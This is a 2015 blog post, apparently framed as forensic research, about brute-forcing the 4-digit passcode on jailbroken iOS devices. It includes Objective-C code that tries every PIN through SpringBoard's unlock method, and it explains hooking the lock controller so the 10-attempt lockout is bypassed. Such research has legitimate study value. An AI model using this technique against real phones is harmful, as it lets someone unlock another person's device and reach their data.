iOS Forensic - Cracking Apple's Security
Bruteforce 4-pin passcode on iOS

You must have read about MDSec’s Black Box that manages to gain access to iPhones running up to iOS 8.1 by brute-forcing the passcode over a USB connection to simulate keypad entry. These kind of attacks are not very practical because iOS’s protection against bruteforce attacks blocks passcode entry after 10 failed attempts.

I tried to replicate the attack while covering the entire process without using hardware hacks, so the device has to be jailbroken to gain unsigned code execution privilege (or you might as well use your own exploit for that ;p).

TransLock

I wrote the following code that loops through every possible 4-digit passcode, starting from 0000 up to 9999.

- (void)bruteforce {
	for (int i = 0; i <= 9999; i++) {
		numString = [NSString stringWithFormat:@"%04d", i];
		NSLog(@"Testing : %@", numString);
		if ([[%c(SBDeviceLockController) sharedController] attemptDeviceUnlockWithPassword:numString appRequested:NO]) {
			[[[UIAlertView alloc] initWithTitle:@"TransLock" 
										message:[NSString stringWithFormat:@"Password is %@", numString] 
									   delegate:nil 
							  cancelButtonTitle:@"Dismiss" 
							  otherButtonTitles:nil] show];
			NSLog(@"Password is : %@", numString);
			break;
		}
	}

}

Then I made a class-dump of SpringBoard and found a class called SBDeviceLockController with an interesting method:

- (BOOL)attemptDeviceUnlockWithPassword:(id)password appRequested:(BOOL)requested;

After that, I wrote a library that hooks into the SpringBoard process and runs the above code when SpringBoard did finish launching, including calling

attemptDeviceUnlockWithPassword:appRequested:

for every generated pin. Once it returns true we can assure that it’s the working pin.

I relaunched the SpringBoard process to test my code at runtime, and as expected it worked. Well, kinda..

By watching syslog, I found that it’s only running the first 10 passcode entry attempts then it’s getting blocked by the operating system and throwing an iPhone is Disabled alert on the lock-screen. I had to find a workaround.

I looked back at the earlier class-dump and found those related methods in a class called SBFDeviceLockController

- (bool)_temporarilyBlocked;
- (bool)isPasscodeLockedOrBlocked;
- (bool)isBlocked;

I hooked that class and overrided the return value of those methods to NO, re-ran my code and we can call that a success.

The device no longer disables passcode entry after 10 failed attempts. My code was able to try a pin every 5 seconds, if you do the math, that means it’ll take 14 hours at most to try every single pin possible.

I’m working on a Mac utility that’ll automate the entire proccess and send the library to the device over a USB connection. I have plans to release it in the near future.

You can find libTransLock on my GitHub.

*****
Written by Majd Alfhaily on 23 March 2015